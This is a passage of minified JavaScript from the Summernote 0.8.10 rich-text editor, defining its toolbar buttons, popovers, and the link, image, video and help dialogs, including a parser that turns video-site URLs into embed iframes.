class="note-current-fontsize"/>',e.options),tooltip:e.lang.font.size,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({className:"dropdown-fontsize",checkClassName:e.options.icons.menuCheck,items:e.options.fontSizes,title:e.lang.font.size,click:e.context.createInvokeHandlerAndUpdateState("editor.fontSize")})]).render()}),this.context.memo("button.color",function(){return e.ui.buttonGroup({className:"note-color",children:[e.button({className:"note-current-color-button",contents:e.ui.icon(e.options.icons.font+" note-recent-color"),tooltip:e.lang.color.recent,click:function(o){var n=t(o.currentTarget);e.context.invoke("editor.color",{backColor:n.attr("data-backColor"),foreColor:n.attr("data-foreColor")})},callback:function(t){t.find(".note-recent-color").css("background-color","#FFFF00"),t.attr("data-backColor","#FFFF00")}}),e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents("",e.options),tooltip:e.lang.color.more,data:{toggle:"dropdown"}}),e.ui.dropdown({items:['<div class="note-palette">',' <div class="note-palette-title">'+e.lang.color.background+"</div>"," <div>",' <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">',e.lang.color.transparent," </button>"," </div>",' <div class="note-holder" data-event="backColor"/>',"</div>",'<div class="note-palette">',' <div class="note-palette-title">'+e.lang.color.foreground+"</div>"," <div>",' <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">',e.lang.color.resetToDefault," </button>"," </div>",' <div class="note-holder" data-event="foreColor"/>',"</div>"].join(""),callback:function(o){o.find(".note-holder").each(function(o,n){var i=t(n);i.append(e.ui.palette({colors:e.options.colors,colorsName:e.options.colorsName,eventName:i.data("event"),container:e.options.container,tooltip:e.options.tooltip}).render())})},click:function(o){var n=t(o.target),i=n.data("event"),r=n.data("value");if(i&&r){var s="backColor"===i?"background-color":"color",a=n.closest(".note-color").find(".note-recent-color"),l=n.closest(".note-color").find(".note-current-color-button");a.css(s,r),l.attr("data-"+i,r),e.context.invoke("editor."+i,r)}}})]}).render()}),this.context.memo("button.ul",function(){return e.button({contents:e.ui.icon(e.options.icons.unorderedlist),tooltip:e.lang.lists.unordered+e.representShortcut("insertUnorderedList"),click:e.context.createInvokeHandler("editor.insertUnorderedList")}).render()}),this.context.memo("button.ol",function(){return e.button({contents:e.ui.icon(e.options.icons.orderedlist),tooltip:e.lang.lists.ordered+e.representShortcut("insertOrderedList"),click:e.context.createInvokeHandler("editor.insertOrderedList")}).render()});var s=this.button({contents:this.ui.icon(this.options.icons.alignLeft),tooltip:this.lang.paragraph.left+this.representShortcut("justifyLeft"),click:this.context.createInvokeHandler("editor.justifyLeft")}),a=this.button({contents:this.ui.icon(this.options.icons.alignCenter),tooltip:this.lang.paragraph.center+this.representShortcut("justifyCenter"),click:this.context.createInvokeHandler("editor.justifyCenter")}),l=this.button({contents:this.ui.icon(this.options.icons.alignRight),tooltip:this.lang.paragraph.right+this.representShortcut("justifyRight"),click:this.context.createInvokeHandler("editor.justifyRight")}),c=this.button({contents:this.ui.icon(this.options.icons.alignJustify),tooltip:this.lang.paragraph.justify+this.representShortcut("justifyFull"),click:this.context.createInvokeHandler("editor.justifyFull")}),d=this.button({contents:this.ui.icon(this.options.icons.outdent),tooltip:this.lang.paragraph.outdent+this.representShortcut("outdent"),click:this.context.createInvokeHandler("editor.outdent")}),u=this.button({contents:this.ui.icon(this.options.icons.indent),tooltip:this.lang.paragraph.indent+this.representShortcut("indent"),click:this.context.createInvokeHandler("editor.indent")});this.context.memo("button.justifyLeft",C.invoke(s,"render")),this.context.memo("button.justifyCenter",C.invoke(a,"render")),this.context.memo("button.justifyRight",C.invoke(l,"render")),this.context.memo("button.justifyFull",C.invoke(c,"render")),this.context.memo("button.outdent",C.invoke(d,"render")),this.context.memo("button.indent",C.invoke(u,"render")),this.context.memo("button.paragraph",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.alignLeft),e.options),tooltip:e.lang.paragraph.paragraph,data:{toggle:"dropdown"}}),e.ui.dropdown([e.ui.buttonGroup({className:"note-align",children:[s,a,l,c]}),e.ui.buttonGroup({className:"note-list",children:[d,u]})])]).render()}),this.context.memo("button.height",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.textHeight),e.options),tooltip:e.lang.font.height,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({items:e.options.lineHeights,checkClassName:e.options.icons.menuCheck,className:"dropdown-line-height",title:e.lang.font.height,click:e.context.createInvokeHandler("editor.lineHeight")})]).render()}),this.context.memo("button.table",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.table),e.options),tooltip:e.lang.table.table,data:{toggle:"dropdown"}}),e.ui.dropdown({title:e.lang.table.table,className:"note-table",items:['<div class="note-dimension-picker">',' <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>',' <div class="note-dimension-picker-highlighted"/>',' <div class="note-dimension-picker-unhighlighted"/>',"</div>",'<div class="note-dimension-display">1 x 1</div>'].join("")})],{callback:function(t){t.find(".note-dimension-picker-mousecatcher").css({width:e.options.insertTableMaxSize.col+"em",height:e.options.insertTableMaxSize.row+"em"}).mousedown(e.context.createInvokeHandler("editor.insertTable")).on("mousemove",e.tableMoveHandler.bind(e))}}).render()}),this.context.memo("button.link",function(){return e.button({contents:e.ui.icon(e.options.icons.link),tooltip:e.lang.link.link+e.representShortcut("linkDialog.show"),click:e.context.createInvokeHandler("linkDialog.show")}).render()}),this.context.memo("button.picture",function(){return e.button({contents:e.ui.icon(e.options.icons.picture),tooltip:e.lang.image.image,click:e.context.createInvokeHandler("imageDialog.show")}).render()}),this.context.memo("button.video",function(){return e.button({contents:e.ui.icon(e.options.icons.video),tooltip:e.lang.video.video,click:e.context.createInvokeHandler("videoDialog.show")}).render()}),this.context.memo("button.hr",function(){return e.button({contents:e.ui.icon(e.options.icons.minus),tooltip:e.lang.hr.insert+e.representShortcut("insertHorizontalRule"),click:e.context.createInvokeHandler("editor.insertHorizontalRule")}).render()}),this.context.memo("button.fullscreen",function(){return e.button({className:"btn-fullscreen",contents:e.ui.icon(e.options.icons.arrowsAlt),tooltip:e.lang.options.fullscreen,click:e.context.createInvokeHandler("fullscreen.toggle")}).render()}),this.context.memo("button.codeview",function(){return e.button({className:"btn-codeview",contents:e.ui.icon(e.options.icons.code),tooltip:e.lang.options.codeview,click:e.context.createInvokeHandler("codeview.toggle")}).render()}),this.context.memo("button.redo",function(){return e.button({contents:e.ui.icon(e.options.icons.redo),tooltip:e.lang.history.redo+e.representShortcut("redo"),click:e.context.createInvokeHandler("editor.redo")}).render()}),this.context.memo("button.undo",function(){return e.button({contents:e.ui.icon(e.options.icons.undo),tooltip:e.lang.history.undo+e.representShortcut("undo"),click:e.context.createInvokeHandler("editor.undo")}).render()}),this.context.memo("button.help",function(){return e.button({contents:e.ui.icon(e.options.icons.question),tooltip:e.lang.options.help,click:e.context.createInvokeHandler("helpDialog.show")}).render()})},e.prototype.addImagePopoverButtons=function(){var t=this;this.context.memo("button.imageSize100",function(){return t.button({contents:'<span class="note-fontsize-10">100%</span>',tooltip:t.lang.image.resizeFull,click:t.context.createInvokeHandler("editor.resize","1")}).render()}),this.context.memo("button.imageSize50",function(){return t.button({contents:'<span class="note-fontsize-10">50%</span>',tooltip:t.lang.image.resizeHalf,click:t.context.createInvokeHandler("editor.resize","0.5")}).render()}),this.context.memo("button.imageSize25",function(){return t.button({contents:'<span class="note-fontsize-10">25%</span>',tooltip:t.lang.image.resizeQuarter,click:t.context.createInvokeHandler("editor.resize","0.25")}).render()}),this.context.memo("button.floatLeft",function(){return t.button({contents:t.ui.icon(t.options.icons.alignLeft),tooltip:t.lang.image.floatLeft,click:t.context.createInvokeHandler("editor.floatMe","left")}).render()}),this.context.memo("button.floatRight",function(){return t.button({contents:t.ui.icon(t.options.icons.alignRight),tooltip:t.lang.image.floatRight,click:t.context.createInvokeHandler("editor.floatMe","right")}).render()}),this.context.memo("button.floatNone",function(){return t.button({contents:t.ui.icon(t.options.icons.alignJustify),tooltip:t.lang.image.floatNone,click:t.context.createInvokeHandler("editor.floatMe","none")}).render()}),this.context.memo("button.removeMedia",function(){return t.button({contents:t.ui.icon(t.options.icons.trash),tooltip:t.lang.image.remove,click:t.context.createInvokeHandler("editor.removeMedia")}).render()})},e.prototype.addLinkPopoverButtons=function(){var t=this;this.context.memo("button.linkDialogShow",function(){return t.button({contents:t.ui.icon(t.options.icons.link),tooltip:t.lang.link.edit,click:t.context.createInvokeHandler("linkDialog.show")}).render()}),this.context.memo("button.unlink",function(){return t.button({contents:t.ui.icon(t.options.icons.unlink),tooltip:t.lang.link.unlink,click:t.context.createInvokeHandler("editor.unlink")}).render()})},e.prototype.addTablePopoverButtons=function(){var t=this;this.context.memo("button.addRowUp",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowAbove),tooltip:t.lang.table.addRowAbove,click:t.context.createInvokeHandler("editor.addRow","top")}).render()}),this.context.memo("button.addRowDown",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowBelow),tooltip:t.lang.table.addRowBelow,click:t.context.createInvokeHandler("editor.addRow","bottom")}).render()}),this.context.memo("button.addColLeft",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colBefore),tooltip:t.lang.table.addColLeft,click:t.context.createInvokeHandler("editor.addCol","left")}).render()}),this.context.memo("button.addColRight",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colAfter),tooltip:t.lang.table.addColRight,click:t.context.createInvokeHandler("editor.addCol","right")}).render()}),this.context.memo("button.deleteRow",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.rowRemove),tooltip:t.lang.table.delRow,click:t.context.createInvokeHandler("editor.deleteRow")}).render()}),this.context.memo("button.deleteCol",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.colRemove),tooltip:t.lang.table.delCol,click:t.context.createInvokeHandler("editor.deleteCol")}).render()}),this.context.memo("button.deleteTable",function(){return t.button({className:"btn-md",contents:t.ui.icon(t.options.icons.trash),tooltip:t.lang.table.delTable,click:t.context.createInvokeHandler("editor.deleteTable")}).render()})},e.prototype.build=function(e,o){for(var n=0,i=o.length;n<i;n++){for(var r=o[n],s=t.isArray(r)?r[0]:r,a=t.isArray(r)?1===r.length?[r[0]]:r[1]:[r],l=this.ui.buttonGroup({className:"note-"+s}).render(),c=0,d=a.length;c<d;c++){var u=this.context.memo("button."+a[c]);u&&l.append("function"==typeof u?u(this.context):u)}l.appendTo(e)}},e.prototype.updateCurrentStyle=function(e){var o=this,n=e||this.$toolbar,i=this.context.invoke("editor.currentStyle");if(this.updateBtnStates(n,{".note-btn-bold":function(){return"bold"===i["font-bold"]},".note-btn-italic":function(){return"italic"===i["font-italic"]},".note-btn-underline":function(){return"underline"===i["font-underline"]},".note-btn-subscript":function(){return"subscript"===i["font-subscript"]},".note-btn-superscript":function(){return"superscript"===i["font-superscript"]},".note-btn-strikethrough":function(){return"strikethrough"===i["font-strikethrough"]}}),i["font-family"]){var r=i["font-family"].split(",").map(function(t){return t.replace(/[\'\"]/g,"").replace(/\s+$/,"").replace(/^\s+/,"")}),s=N.find(r,this.isFontInstalled.bind(this));n.find(".dropdown-fontname a").each(function(e,o){var n=t(o),i=n.data("value")+""==s+"";n.toggleClass("checked",i)}),n.find(".note-current-fontname").text(s).css("font-family",s)}if(i["font-size"]){var a=i["font-size"];n.find(".dropdown-fontsize a").each(function(e,o){var n=t(o),i=n.data("value")+""==a+"";n.toggleClass("checked",i)}),n.find(".note-current-fontsize").text(a)}if(i["line-height"]){var l=i["line-height"];n.find(".dropdown-line-height li a").each(function(e,n){var i=t(n).data("value")+""==l+"";o.className=i?"checked":""})}},e.prototype.updateBtnStates=function(e,o){var n=this;t.each(o,function(t,o){n.ui.toggleBtnActive(e.find(t),o())})},e.prototype.tableMoveHandler=function(e){var o,n=t(e.target.parentNode),i=n.next(),r=n.find(".note-dimension-picker-mousecatcher"),s=n.find(".note-dimension-picker-highlighted"),a=n.find(".note-dimension-picker-unhighlighted");if(void 0===e.offsetX){var l=t(e.target).offset();o={x:e.pageX-l.left,y:e.pageY-l.top}}else o={x:e.offsetX,y:e.offsetY};var c=Math.ceil(o.x/18)||1,d=Math.ceil(o.y/18)||1;s.css({width:c+"em",height:d+"em"}),r.data("value",c+"x"+d),c>3&&c<this.options.insertTableMaxSize.col&&a.css({width:c+1+"em"}),d>3&&d<this.options.insertTableMaxSize.row&&a.css({height:d+1+"em"}),i.html(c+" x "+d)},e}(),te=function(){function e(e){this.context=e,this.$window=t(window),this.$document=t(document),this.ui=t.summernote.ui,this.$note=e.layoutInfo.note,this.$editor=e.layoutInfo.editor,this.$toolbar=e.layoutInfo.toolbar,this.options=e.options,this.followScroll=this.followScroll.bind(this)}return e.prototype.shouldInitialize=function(){return!this.options.airMode},e.prototype.initialize=function(){var t=this;this.options.toolbar=this.options.toolbar||[],this.options.toolbar.length?this.context.invoke("buttons.build",this.$toolbar,this.options.toolbar):this.$toolbar.hide(),this.options.toolbarContainer&&this.$toolbar.appendTo(this.options.toolbarContainer),this.changeContainer(!1),this.$note.on("summernote.keyup summernote.mouseup summernote.change",function(){t.context.invoke("buttons.updateCurrentStyle")}),this.context.invoke("buttons.updateCurrentStyle"),this.options.followingToolbar&&this.$window.on("scroll resize",this.followScroll)},e.prototype.destroy=function(){this.$toolbar.children().remove(),this.options.followingToolbar&&this.$window.off("scroll resize",this.followScroll)},e.prototype.followScroll=function(){if(this.$editor.hasClass("fullscreen"))return!1;var e=this.$toolbar.parent(".note-toolbar-wrapper"),o=this.$editor.outerHeight(),n=this.$editor.width(),i=this.$toolbar.height();e.css({height:i});var r=0;this.options.otherStaticBar&&(r=t(this.options.otherStaticBar).outerHeight());var s=this.$document.scrollTop(),a=this.$editor.offset().top;s>a-r&&s<a+o-r-i?this.$toolbar.css({position:"fixed",top:r,width:n}):this.$toolbar.css({position:"relative",top:0,width:"100%"})},e.prototype.changeContainer=function(t){t?this.$toolbar.prependTo(this.$editor):this.options.toolbarContainer&&this.$toolbar.appendTo(this.options.toolbarContainer)},e.prototype.updateFullscreen=function(t){this.ui.toggleBtnActive(this.$toolbar.find(".btn-fullscreen"),t),this.changeContainer(t)},e.prototype.updateCodeview=function(t){this.ui.toggleBtnActive(this.$toolbar.find(".btn-codeview"),t),t?this.deactivate():this.activate()},e.prototype.activate=function(t){var e=this.$toolbar.find("button");t||(e=e.not(".btn-codeview")),this.ui.toggleBtn(e,!0)},e.prototype.deactivate=function(t){var e=this.$toolbar.find("button");t||(e=e.not(".btn-codeview")),this.ui.toggleBtn(e,!1)},e}(),ee=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo,e.memo("help.linkDialog.show",this.options.langInfo.help["linkDialog.show"])}return e.prototype.initialize=function(){var e=this.options.dialogsInBody?this.$body:this.$editor,o=['<div class="form-group note-form-group">','<label class="note-form-label">'+this.lang.link.textToDisplay+"</label>",'<input class="note-link-text form-control note-form-control note-input" type="text" />',"</div>",'<div class="form-group note-form-group">','<label class="note-form-label">'+this.lang.link.url+"</label>",'<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />',"</div>",this.options.disableLinkTarget?"":t("<div/>").append(this.ui.checkbox({id:"sn-checkbox-open-in-new-window",text:this.lang.link.openInNewWindow,checked:!0}).render()).html()].join(""),n='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-link-btn" disabled>'+this.lang.link.insert+"</button>";this.$dialog=this.ui.dialog({className:"link-dialog",title:this.lang.link.insert,fade:this.options.dialogsFade,body:o,footer:n}).render().appendTo(e)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.toggleLinkBtn=function(t,e,o){this.ui.toggleBtn(t,e.val()&&o.val())},e.prototype.showLinkDialog=function(e){var o=this;return t.Deferred(function(t){var n=o.$dialog.find(".note-link-text"),i=o.$dialog.find(".note-link-url"),r=o.$dialog.find(".note-link-btn"),s=o.$dialog.find("input[type=checkbox]");o.ui.onDialogShown(o.$dialog,function(){o.context.triggerEvent("dialog.shown"),e.url||(e.url=e.text),n.val(e.text);var a=function(){o.toggleLinkBtn(r,n,i),e.text=n.val()};n.on("input",a).on("paste",function(){setTimeout(a,0)});var l=function(){o.toggleLinkBtn(r,n,i),e.text||n.val(i.val())};i.on("input",l).on("paste",function(){setTimeout(l,0)}).val(e.url),z.isSupportTouch||i.trigger("focus"),o.toggleLinkBtn(r,n,i),o.bindEnterKey(i,r),o.bindEnterKey(n,r);var c=void 0!==e.isNewWindow?e.isNewWindow:o.context.options.linkTargetBlank;s.prop("checked",c),r.one("click",function(r){r.preventDefault(),t.resolve({range:e.range,url:i.val(),text:n.val(),isNewWindow:s.is(":checked")}),o.ui.hideDialog(o.$dialog)})}),o.ui.onDialogHidden(o.$dialog,function(){n.off("input paste keypress"),i.off("input paste keypress"),r.off("click"),"pending"===t.state()&&t.reject()}),o.ui.showDialog(o.$dialog)}).promise()},e.prototype.show=function(){var t=this,e=this.context.invoke("editor.getLinkInfo");this.context.invoke("editor.saveRange"),this.showLinkDialog(e).then(function(e){t.context.invoke("editor.restoreRange"),t.context.invoke("editor.createLink",e)}).fail(function(){t.context.invoke("editor.restoreRange")})},e}(),oe=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.keyup summernote.mouseup summernote.change summernote.scroll":function(){o.update()},"summernote.disable summernote.dialog.shown":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.link)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-link-popover",callback:function(t){t.find(".popover-content,.note-popover-content").prepend('<span><a target="_blank"></a> </span>')}}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.link)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(){if(this.context.invoke("editor.hasFocus")){var e=this.context.invoke("editor.createRange");if(e.isCollapsed()&&e.isOnAnchor()){var o=Nt.ancestor(e.sc,Nt.isAnchor),n=t(o).attr("href");this.$popover.find("a").attr("href",n).html(n);var i=Nt.posFromPlaceholder(o);this.$popover.css({display:"block",left:i.left,top:i.top})}else this.hide()}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),ne=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e="";if(this.options.maximumImageFileSize){var o=Math.floor(Math.log(this.options.maximumImageFileSize)/Math.log(1024)),n=1*(this.options.maximumImageFileSize/Math.pow(1024,o)).toFixed(2)+" "+" KMGTP"[o]+"B";e="<small>"+this.lang.image.maximumFileSize+" : "+n+"</small>"}var i=['<div class="form-group note-form-group note-group-select-from-files">','<label class="note-form-label">'+this.lang.image.selectFromFiles+"</label>",'<input class="note-image-input note-form-control note-input" ',' type="file" name="files" accept="image/*" multiple="multiple" />',e,"</div>",'<div class="form-group note-group-image-url" style="overflow:auto;">','<label class="note-form-label">'+this.lang.image.url+"</label>",'<input class="note-image-url form-control note-form-control note-input ',' col-md-12" type="text" />',"</div>"].join(""),r='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-image-btn" disabled>'+this.lang.image.insert+"</button>";this.$dialog=this.ui.dialog({title:this.lang.image.insert,fade:this.options.dialogsFade,body:i,footer:r}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.show=function(){var t=this;this.context.invoke("editor.saveRange"),this.showImageDialog().then(function(e){t.ui.hideDialog(t.$dialog),t.context.invoke("editor.restoreRange"),"string"==typeof e?t.context.invoke("editor.insertImage",e):t.context.invoke("editor.insertImagesOrCallback",e)}).fail(function(){t.context.invoke("editor.restoreRange")})},e.prototype.showImageDialog=function(){var e=this;return t.Deferred(function(t){var o=e.$dialog.find(".note-image-input"),n=e.$dialog.find(".note-image-url"),i=e.$dialog.find(".note-image-btn");e.ui.onDialogShown(e.$dialog,function(){e.context.triggerEvent("dialog.shown"),o.replaceWith(o.clone().on("change",function(e){t.resolve(e.target.files||e.target.value)}).val("")),i.click(function(e){e.preventDefault(),t.resolve(n.val())}),n.on("keyup paste",function(){var t=n.val();e.ui.toggleBtn(i,t)}).val(""),z.isSupportTouch||n.trigger("focus"),e.bindEnterKey(n,i)}),e.ui.onDialogHidden(e.$dialog,function(){o.off("change"),n.off("keyup paste keypress"),i.off("click"),"pending"===t.state()&&t.reject()}),e.ui.showDialog(e.$dialog)})},e}(),ie=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.editable=e.layoutInfo.editable[0],this.options=e.options,this.events={"summernote.disable":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.image)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-image-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.image)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(t){if(Nt.isImg(t)){var e=Nt.posFromPlaceholder(t),o=Nt.posFromPlaceholder(this.editable);this.$popover.css({display:"block",left:this.options.popatmouse?event.pageX-20:e.left,top:this.options.popatmouse?event.pageY:Math.min(e.top,o.top)})}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),re=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.mousedown":function(t,e){o.update(e.target)},"summernote.keyup summernote.scroll summernote.change":function(){o.update()},"summernote.disable":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return!N.isEmpty(this.options.popover.table)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-table-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content,.note-popover-content");this.context.invoke("buttons.build",t,this.options.popover.table),z.isFF&&document.execCommand("enableInlineTableEditing",!1,!1)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(t){if(this.context.isDisabled())return!1;var e=Nt.isCell(t);if(e){var o=Nt.posFromPlaceholder(t);this.$popover.css({display:"block",left:o.left,top:o.top})}else this.hide();return e},e.prototype.hide=function(){this.$popover.hide()},e}(),se=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e=['<div class="form-group note-form-group row-fluid">','<label class="note-form-label">'+this.lang.video.url+' <small class="text-muted">'+this.lang.video.providers+"</small></label>",'<input class="note-video-url form-control note-form-control note-input" type="text" />',"</div>"].join(""),o='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-video-btn" disabled>'+this.lang.video.insert+"</button>";this.$dialog=this.ui.dialog({title:this.lang.video.insert,fade:this.options.dialogsFade,body:e,footer:o}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.createVideoNode=function(e){var o,n=e.match(/^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/),i=e.match(/(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/),r=e.match(/\/\/vine\.co\/v\/([a-zA-Z0-9]+)/),s=e.match(/\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/),a=e.match(/.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/),l=e.match(/\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/),c=e.match(/\/\/v\.qq\.com.*?vid=(.+)/),d=e.match(/\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/),u=e.match(/^.+.(mp4|m4v)$/),h=e.match(/^.+.(ogg|ogv)$/),p=e.match(/^.+.(webm)$/);if(n&&11===n[1].length){var f=n[1];o=t("<iframe>").attr("frameborder",0).attr("src","//www.youtube.com/embed/"+f).attr("width","640").attr("height","360")}else if(i&&i[0].length)o=t("<iframe>").attr("frameborder",0).attr("src","https://instagram.com/p/"+i[1]+"/embed/").attr("width","612").attr("height","710").attr("scrolling","no").attr("allowtransparency","true");else if(r&&r[0].length)o=t("<iframe>").attr("frameborder",0).attr("src",r[0]+"/embed/simple").attr("width","600").attr("height","600").attr("class","vine-embed");else if(s&&s[3].length)o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("src","//player.vimeo.com/video/"+s[3]).attr("width","640").attr("height","360");else if(a&&a[2].length)o=t("<iframe>").attr("frameborder",0).attr("src","//www.dailymotion.com/embed/video/"+a[2]).attr("width","640").attr("height","360");else if(l&&l[1].length)o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("height","498").attr("width","510").attr("src","//player.youku.com/embed/"+l[1]);else if(c&&c[1].length||d&&d[2].length){var m=c&&c[1].length?c[1]:d[2];o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("height","310").attr("width","500").attr("src","http://v.qq.com/iframe/player.html?vid="+m+"&auto=0")}else{if(!(u||h||p))return!1;o=t("<video controls>").attr("src",e).attr("width","640").attr("height","360")}return o.addClass("note-video-clip"),o[0]},e.prototype.show=function(){var t=this,e=this.context.invoke("editor.getSelectedText");this.context.invoke("editor.saveRange"),this.showVideoDialog(e).then(function(e){t.ui.hideDialog(t.$dialog),t.context.invoke("editor.restoreRange");var o=t.createVideoNode(e);o&&t.context.invoke("editor.insertNode",o)}).fail(function(){t.context.invoke("editor.restoreRange")})},e.prototype.showVideoDialog=function(e){var o=this;return t.Deferred(function(t){var n=o.$dialog.find(".note-video-url"),i=o.$dialog.find(".note-video-btn");o.ui.onDialogShown(o.$dialog,function(){o.context.triggerEvent("dialog.shown"),n.val(e).on("input",function(){o.ui.toggleBtn(i,n.val())}),z.isSupportTouch||n.trigger("focus"),i.click(function(e){e.preventDefault(),t.resolve(n.val())}),o.bindEnterKey(n,i)}),o.ui.onDialogHidden(o.$dialog,function(){n.off("input"),i.off("click"),"pending"===t.state()&&t.reject()}),o.ui.showDialog(o.$dialog)})},e}(),ae=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e=['<p class="text-center">','<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ','<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ','<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>',"</p>"].join("");this.$dialog=this.ui.dialog({title:this.lang.options.help,fade:this.options.dialogsFade,body:this.createShortcutList(),footer:e,callback:function(t){t.find(".modal-body,.note-modal-body").css({"max-height":300,overflow:"scroll"})}}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.createShortcutList=function(){var e=this,o=this.options.keyMap[z.isMac?"mac":"pc"];return Object.keys(o).map(function(n){var i=o[n],r=t('<div><div class="help-list-item"/></div>');return r.append(t("<label><kbd>"+n+"</kdb></label>").css({width:180,"margin-right":10})).append(t("<span/>").html(e.context.memo("help."+i)||i)),r.html()}).join("")},e.prototype.showHelpDialog=function(){var e=this;return t.Deferred(function(t){e.ui.onDialogShown(e.$dialog,function(){e.context.triggerEvent("dialog.shown"),t.resolve()}),e.ui.showDialog(e.$dialog)}).promise()},e.prototype.show=function(){var t=this;this.context.invoke("editor.saveRange"),this.showHelpDialog().then(function(){t.context.invoke("editor.restoreRange")})},e}(),le=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.keyup summernote.mouseup summernote.scroll":function(){o.update()},"summernote.disable summernote.change summernote.dialog.shown":function(){o.hide()},"summernote.focusout":function(t,e){z.isFF||e.relatedTarget&&Nt.ancestor(e.relatedTarget,C.eq(o.$popover[0]))||o.hide()}}}return e.prototype.shouldInitialize=function(){return this.options.airMode&&!N.isEmpty(this.options.popover.air)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-air-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content");this.context.invoke("buttons.build",t,this.options.popover.air)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(){var t=this.context.invoke("editor.currentStyle");if(t.range&&!t.range.isCollapsed()){var e=N.last(t.range.getClientRects());if(e){var o=C.rect2bnd(e);this.$popover.css({display:"block",left:Math.max(o.left+o.width/2,0)-20,top:o.top+o.height}),this.context.invoke("buttons.updateCurrentStyle",this.$popover)}}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),ce=function(){function e(e){var 